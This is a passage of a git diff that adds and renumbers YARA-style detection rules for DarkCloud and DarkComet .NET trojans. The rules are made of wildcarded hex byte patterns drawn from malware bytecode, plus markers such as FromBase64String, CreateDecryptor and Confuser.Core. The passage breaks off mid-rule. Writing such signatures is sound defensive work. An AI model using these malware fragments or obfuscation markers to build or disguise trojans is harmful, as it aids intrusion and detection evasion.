b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ARTA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkCloud_ARTA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.ARTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {06 8e 69 1a 2f 04 16 0b de 73 20 ?? ?? 00 00 28 ?? 00 00 06 28 ?? 00 00 0a 0c 20 ?? ?? 00 00 28 ?? 00 00 06 28 ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 03 20 ?? ?? 00 00 28 ?? 00 00 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 6f ?? 00 00 06 de 0c } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AXTA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AXTA_MTB.yar new file mode 100644 index 0000000000..ae2a1c4eec --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AXTA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_AXTA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AXTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0c 1a 8d ?? 00 00 01 0d 08 09 16 09 8e 69 6f ?? 00 00 0a 26 09 16 28 ?? 00 00 0a 13 04 08 16 73 ?? 00 00 0a 13 05 2b 3e 8d ?? 00 00 01 2b 3b 16 2b 3c 2b 15 2b 3c 2b 3e 2b 40 2b 42 2b 44 2b 46 59 6f ?? 00 00 0a 58 13 07 1c 2c 09 11 07 11 04 17 2c f3 32 df 72 ?? ?? 00 70 11 06 03 28 ?? 00 00 06 17 0b } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_GTD_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_GTD_MTB.yar new file mode 100644 index 0000000000..8956629dbf --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_GTD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkCloud_GTD_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {0b 00 07 03 6f ?? 00 00 0a 00 07 04 6f ?? 00 00 0a 00 07 17 6f ?? 00 00 0a 00 07 18 6f ?? 00 00 0a 00 73 ?? ?? ?? ?? 0c 08 07 6f ?? 00 00 0a 17 73 ?? ?? ?? ?? 0d 00 09 06 16 06 8e 69 6f ?? 00 00 0a 00 09 6f ?? 00 00 0a 00 08 6f ?? 00 00 0a 13 04 de 28 } //10 + $a_01_1 = {43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 } //1 Confuser.Core + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_LVT_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_LVT_MTB.yar new file mode 100644 index 0000000000..b4aa9e8ca4 --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_LVT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_LVT_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.LVT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 8e 69 17 da 13 04 16 13 05 2b 22 11 05 1e 5d 16 fe 01 13 06 11 06 2c 0f 02 11 05 02 11 05 91 20 ?? 00 00 00 61 b4 9c 11 05 17 d6 13 05 11 05 11 04 31 d8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_MRE_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_MRE_MTB.yar new file mode 100644 index 0000000000..7de2a7501f --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_MRE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_MRE_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.MRE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {08 02 7b 06 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 2d 00 00 0a 13 04 11 04 09 17 73 2e 00 00 0a 13 05 2b 32 2b 34 16 2b 34 8e 69 2b 33 2b 38 2b 3a 2b 3f 2b 41 2b 46 11 06 03 72 3e 02 00 70 28 ?? 00 00 06 05 72 62 02 00 70 6f ?? 00 00 0a 17 0b dd 80 00 00 00 11 05 2b ca 06 2b c9 06 2b c9 6f ?? 00 00 0a 2b c6 11 05 2b c4 6f ?? 00 00 0a 2b bf 11 04 2b bd 6f ?? 00 00 0a 2b b8 13 06 2b b6 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_SKC_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_SKC_MTB.yar new file mode 100644 index 0000000000..a2b25a7a1b --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_SKC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkCloud_SKC_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.SKC!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {07 08 20 00 96 00 00 16 17 72 7f 00 00 70 22 00 00 80 3f 17 17 72 1d 01 00 70 20 00 01 00 00 16 72 2d 02 00 70 28 07 00 00 06 00 72 05 17 00 70 13 07 11 07 72 21 17 00 70 6f 1d 00 00 0a 13 08 11 08 2c 0e } //1 + $a_01_1 = {24 43 38 46 37 45 36 44 35 2d 41 34 42 33 2d 39 32 38 31 2d 37 36 35 34 2d 30 39 38 37 36 35 34 33 32 43 42 41 } //1 $C8F7E6D5-A4B3-9281-7654-098765432CBA + $a_01_2 = {55 50 41 5f 48 45 4c 50 45 52 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 UPA_HELPER.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ACD_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ACD_MTB.yar new file mode 100644 index 0000000000..dff9493ec3 --- /dev/null +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ACD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkComet_ACD_MTB{ + meta: + description = "Trojan:BAT/DarkComet.ACD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {17 da 13 06 0d 2b 47 03 08 09 6f ?? 00 00 0a 13 04 11 04 16 16 16 16 28 ?? 00 00 0a 28 ?? 00 00 0a 2c 27 07 12 04 28 ?? 00 00 0a 6f ?? 00 00 0a 07 12 04 28 ?? 00 00 0a 6f ?? 00 00 0a 07 12 04 28 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ACM_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ACM_MTB.yar new file mode 100644 index 0000000000..460919d3ad --- /dev/null +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ACM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkComet_ACM_MTB{ + meta: + description = "Trojan:BAT/DarkComet.ACM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 84 95 d7 6e 20 ff 00 00 00 6a 5f b8 13 04 11 05 07 84 95 0d 11 05 07 84 11 05 11 04 84 95 9e 11 05 11 04 84 09 9e 08 11 09 02 11 09 91 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADK_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADK_MTB.yar index 2aa2a918c4..05ae4df69d 100644 --- a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADK_MTB.yar +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADK_MTB.yar @@ -3,13 +3,23 @@ rule Trojan_BAT_DarkComet_ADK_MTB{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_01_0 = {0a 16 0b 2b 1d 16 0c 2b 0f 02 07 02 07 91 06 08 91 61 d2 9c 08 17 58 0c 08 06 8e 69 32 eb 07 17 58 0b 07 02 8e 69 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_ADK_MTB_2{ + meta: + description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_01_0 = {16 0c 2b 1f 06 08 8f 0c 00 00 01 25 71 0c 00 00 01 07 08 07 8e 69 5d 91 61 d2 81 0c 00 00 01 08 17 58 0c 08 06 8e 69 } //1 condition: ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_2{ +rule Trojan_BAT_DarkComet_ADK_MTB_3{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " @@ -19,7 +29,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_2{ ((#a_01_0 & 1)*2) >=2 } -rule Trojan_BAT_DarkComet_ADK_MTB_3{ +rule Trojan_BAT_DarkComet_ADK_MTB_4{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -29,7 +39,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_3{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_4{ +rule Trojan_BAT_DarkComet_ADK_MTB_5{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -39,7 +49,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_4{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_5{ +rule Trojan_BAT_DarkComet_ADK_MTB_6{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -49,7 +59,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_5{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_6{ +rule Trojan_BAT_DarkComet_ADK_MTB_7{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -59,7 +69,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_6{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_7{ +rule Trojan_BAT_DarkComet_ADK_MTB_8{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -69,7 +79,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_7{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_8{ +rule Trojan_BAT_DarkComet_ADK_MTB_9{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -79,7 +89,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_8{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_9{ +rule Trojan_BAT_DarkComet_ADK_MTB_10{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -89,7 +99,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_9{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_10{ +rule Trojan_BAT_DarkComet_ADK_MTB_11{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -99,7 +109,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_10{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_11{ +rule Trojan_BAT_DarkComet_ADK_MTB_12{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -110,7 +120,17 @@ rule Trojan_BAT_DarkComet_ADK_MTB_11{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_DarkComet_ADK_MTB_12{ +rule Trojan_BAT_DarkComet_ADK_MTB_13{ + meta: + description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {13 04 16 13 06 2b 5d 11 04 17 58 20 00 01 00 00 5d 13 04 11 05 07 11 04 91 58 20 00 01 00 00 5d 13 05 07 11 04 91 0d 07 11 04 07 11 05 91 9c 07 11 05 09 9c 07 11 04 91 07 11 05 91 58 20 00 01 00 00 5d 13 07 02 11 06 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_ADK_MTB_14{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -120,7 +140,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_12{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_13{ +rule Trojan_BAT_DarkComet_ADK_MTB_15{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -130,7 +150,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_13{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_14{ +rule Trojan_BAT_DarkComet_ADK_MTB_16{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -141,7 +161,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_14{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 } -rule Trojan_BAT_DarkComet_ADK_MTB_15{ +rule Trojan_BAT_DarkComet_ADK_MTB_17{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -151,7 +171,18 @@ rule Trojan_BAT_DarkComet_ADK_MTB_15{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADK_MTB_16{ +rule Trojan_BAT_DarkComet_ADK_MTB_18{ + meta: + description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {b5 0b 07 02 1f 20 19 16 15 28 ?? 00 00 0a 17 8d ?? 00 00 01 0c 08 16 07 9e 08 28 ?? 00 00 0a de 0e 28 ?? 00 00 0a 17 0a 28 } //3 + $a_03_1 = {02 50 17 8d ?? 00 00 01 13 04 11 04 16 06 8c ?? 00 00 01 a2 11 04 14 28 ?? 00 00 0a 02 50 17 8d ?? 00 00 01 13 05 11 05 16 07 8c ?? 00 00 01 a2 11 05 14 28 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} +rule Trojan_BAT_DarkComet_ADK_MTB_19{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " @@ -163,7 +194,7 @@ rule Trojan_BAT_DarkComet_ADK_MTB_16{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 } -rule Trojan_BAT_DarkComet_ADK_MTB_17{ +rule Trojan_BAT_DarkComet_ADK_MTB_20{ meta: description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -173,4 +204,15 @@ rule Trojan_BAT_DarkComet_ADK_MTB_17{ condition: ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 +} +rule Trojan_BAT_DarkComet_ADK_MTB_21{ + meta: + description = "Trojan:BAT/DarkComet.ADK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {15 13 05 08 06 16 06 8e b7 6f ?? 00 00 0a 13 05 2b 1a 11 04 06 16 11 05 6f ?? 00 00 0a 00 08 06 16 06 8e b7 6f ?? 00 00 0a 13 05 00 11 05 16 fe 02 13 06 11 06 2d db } //3 + $a_03_1 = {13 04 0d 2b 39 03 09 18 28 ?? 00 00 0a 0b 08 72 ?? 00 00 70 07 28 ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a b7 28 ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 0c 09 17 d6 0d 00 09 17 d6 0d 09 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + } \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADM_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADM_MTB.yar index 24732c00ea..03a4379ac5 100644 --- a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADM_MTB.yar +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADM_MTB.yar @@ -14,7 +14,7 @@ rule Trojan_BAT_DarkComet_ADM_MTB_2{ description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : - $a_03_0 = {16 02 8e b7 17 da 13 06 13 05 2b 29 08 11 05 02 11 05 91 11 04 61 09 07 91 61 b4 9c 07 03 6f ?? 00 00 0a 17 da 33 04 16 0b 2b 04 07 17 d6 0b 11 05 17 d6 13 05 11 05 11 06 31 d1 } //1 + $a_03_0 = {16 0c 2b 1d 07 08 8f ?? 00 00 01 25 71 ?? 00 00 01 02 08 06 5d 91 61 d2 81 ?? 00 00 01 08 17 58 0c 08 07 8e 69 } //1 condition: ((#a_03_0 & 1)*1) >=1 @@ -24,7 +24,7 @@ rule Trojan_BAT_DarkComet_ADM_MTB_3{ description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : - $a_03_0 = {1f 20 17 19 15 28 ?? 00 00 0a 1a 13 0a 17 28 ?? 00 00 0a b7 28 ?? 00 00 0a 0b 1b 13 0a 17 28 ?? 00 00 0a b7 28 ?? 00 00 0a 13 05 1c 13 0a 17 28 ?? 00 00 0a b7 28 ?? 00 00 0a 13 06 1d 13 0a 17 28 } //1 + $a_03_0 = {16 02 8e b7 17 da 13 06 13 05 2b 29 08 11 05 02 11 05 91 11 04 61 09 07 91 61 b4 9c 07 03 6f ?? 00 00 0a 17 da 33 04 16 0b 2b 04 07 17 d6 0b 11 05 17 d6 13 05 11 05 11 06 31 d1 } //1 condition: ((#a_03_0 & 1)*1) >=1 @@ -34,12 +34,32 @@ rule Trojan_BAT_DarkComet_ADM_MTB_4{ description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : - $a_03_0 = {13 05 0d 2b 52 72 ?? ?? ?? 70 02 09 18 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 03 08 6f ?? 00 00 0a 28 ?? 00 00 0a 6a 61 69 28 ?? 00 00 0a 28 ?? 00 00 0a 13 04 06 11 04 6f ?? 00 00 0a 26 08 03 } //1 + $a_03_0 = {16 0d 2b 1e 02 7b ?? 00 00 04 07 02 7b ?? 00 00 04 07 91 02 7b ?? 00 00 04 09 91 61 d2 9c 09 17 58 0d 09 02 7b ?? 00 00 04 8e 69 fe 04 13 04 11 04 2d d1 07 17 58 0b } //1 condition: ((#a_03_0 & 1)*1) >=1 } rule Trojan_BAT_DarkComet_ADM_MTB_5{ + meta: + description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {1f 20 17 19 15 28 ?? 00 00 0a 1a 13 0a 17 28 ?? 00 00 0a b7 28 ?? 00 00 0a 0b 1b 13 0a 17 28 ?? 00 00 0a b7 28 ?? 00 00 0a 13 05 1c 13 0a 17 28 ?? 00 00 0a b7 28 ?? 00 00 0a 13 06 1d 13 0a 17 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_ADM_MTB_6{ + meta: + description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 05 0d 2b 52 72 ?? ?? ?? 70 02 09 18 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 03 08 6f ?? 00 00 0a 28 ?? 00 00 0a 6a 61 69 28 ?? 00 00 0a 28 ?? 00 00 0a 13 04 06 11 04 6f ?? 00 00 0a 26 08 03 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_ADM_MTB_7{ meta: description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -50,7 +70,7 @@ rule Trojan_BAT_DarkComet_ADM_MTB_5{ ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_DarkComet_ADM_MTB_6{ +rule Trojan_BAT_DarkComet_ADM_MTB_8{ meta: description = "Trojan:BAT/DarkComet.ADM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADQ_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADQ_MTB.yar new file mode 100644 index 0000000000..b479f6c32a --- /dev/null +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkComet_ADQ_MTB{ + meta: + description = "Trojan:BAT/DarkComet.ADQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {94 09 11 05 94 d6 20 00 01 00 00 5d 94 13 0d 02 06 17 da 17 6f ?? 00 00 0a 6f ?? 00 00 0a 16 93 13 10 11 10 28 ?? 00 00 0a 13 0f 11 0f 11 0d 61 13 0e 11 04 11 0e 28 } //2 + $a_03_1 = {09 07 94 d6 11 07 07 94 d6 20 00 01 00 00 5d 13 09 09 07 94 13 0c 09 07 09 11 09 94 9e 09 11 09 11 0c 9e 12 01 28 ?? 00 00 0a 07 17 da 28 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADT_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADT_MTB.yar index b4bde8f828..46eec63323 100644 --- a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADT_MTB.yar +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_ADT_MTB.yar @@ -13,13 +13,43 @@ rule Trojan_BAT_DarkComet_ADT_MTB_2{ meta: description = "Trojan:BAT/DarkComet.ADT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_03_0 = {0b 16 0c 2b 18 07 08 03 08 91 06 20 00 01 00 00 6f ?? 00 00 0a d2 61 d2 9c 08 17 58 0c 08 03 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_ADT_MTB_3{ + meta: + description = "Trojan:BAT/DarkComet.ADT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {16 13 08 2b 25 11 06 11 08 11 04 11 08 91 11 05 11 08 11 05 8e 69 5d 91 11 07 58 20 ff 00 00 00 5f 61 d2 9c 11 08 17 58 13 08 11 08 11 06 8e 69 17 59 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_ADT_MTB_4{ + meta: + description = "Trojan:BAT/DarkComet.ADT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_01_0 = {5d 0a 11 05 11 09 91 13 04 11 05 11 09 11 05 06 91 9c 11 05 06 11 04 9c 11 05 11 09 91 11 05 06 91 d6 20 00 01 00 00 5d 0b 03 50 11 0a 03 50 11 0a 91 11 05 07 91 61 9c 11 0a 17 d6 } //1 condition: ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_DarkComet_ADT_MTB_3{ +rule Trojan_BAT_DarkComet_ADT_MTB_5{ + meta: + description = "Trojan:BAT/DarkComet.ADT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {13 06 0d 2b 47 02 08 09 6f ?? 00 00 0a 13 04 11 04 16 16 16 16 28 ?? 00 00 0a 28 ?? 00 00 0a 2c 27 07 12 04 28 ?? 00 00 0a 6f ?? 00 00 0a 07 12 04 28 ?? 00 00 0a 6f } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_BAT_DarkComet_ADT_MTB_6{ meta: description = "Trojan:BAT/DarkComet.ADT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -30,7 +60,7 @@ rule Trojan_BAT_DarkComet_ADT_MTB_3{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_DarkComet_ADT_MTB_4{ +rule Trojan_BAT_DarkComet_ADT_MTB_7{ meta: description = "Trojan:BAT/DarkComet.ADT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKD_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKD_MTB.yar index 8fea88d304..428a1d1479 100644 --- a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKD_MTB.yar +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKD_MTB.yar @@ -8,4 +8,45 @@ rule Trojan_BAT_DarkComet_AKD_MTB{ condition: ((#a_01_0 & 1)*1) >=1 +} +rule Trojan_BAT_DarkComet_AKD_MTB_2{ + meta: + description = "Trojan:BAT/DarkComet.AKD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0a 16 0b 2b 43 16 0c 2b 35 06 08 06 08 91 03 08 03 8e 69 5d 91 61 d2 9c 16 0d 2b 18 06 08 06 08 91 03 09 91 07 1f 1f 5f 62 09 61 08 58 61 d2 9c 09 17 58 0d 09 03 8e 69 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_AKD_MTB_3{ + meta: + description = "Trojan:BAT/DarkComet.AKD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {07 17 58 20 00 01 00 00 5d 0b 11 05 11 08 07 91 58 20 00 01 00 00 5d 13 05 11 08 07 91 13 0d 11 08 07 11 08 11 05 91 9c 11 08 11 05 11 0d 9c 11 08 07 91 11 08 11 05 91 58 d2 20 00 01 00 00 5d 13 0c 02 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_AKD_MTB_4{ + meta: + description = 